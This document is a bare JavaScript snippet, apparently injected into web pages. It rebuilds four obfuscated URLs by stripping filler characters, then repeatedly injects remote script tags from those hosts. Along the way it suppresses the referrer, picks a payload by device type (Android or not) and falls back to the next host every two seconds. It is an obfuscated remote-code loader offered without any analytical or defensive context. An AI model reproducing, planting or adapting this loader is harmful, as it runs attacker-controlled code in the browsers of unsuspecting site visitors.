let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();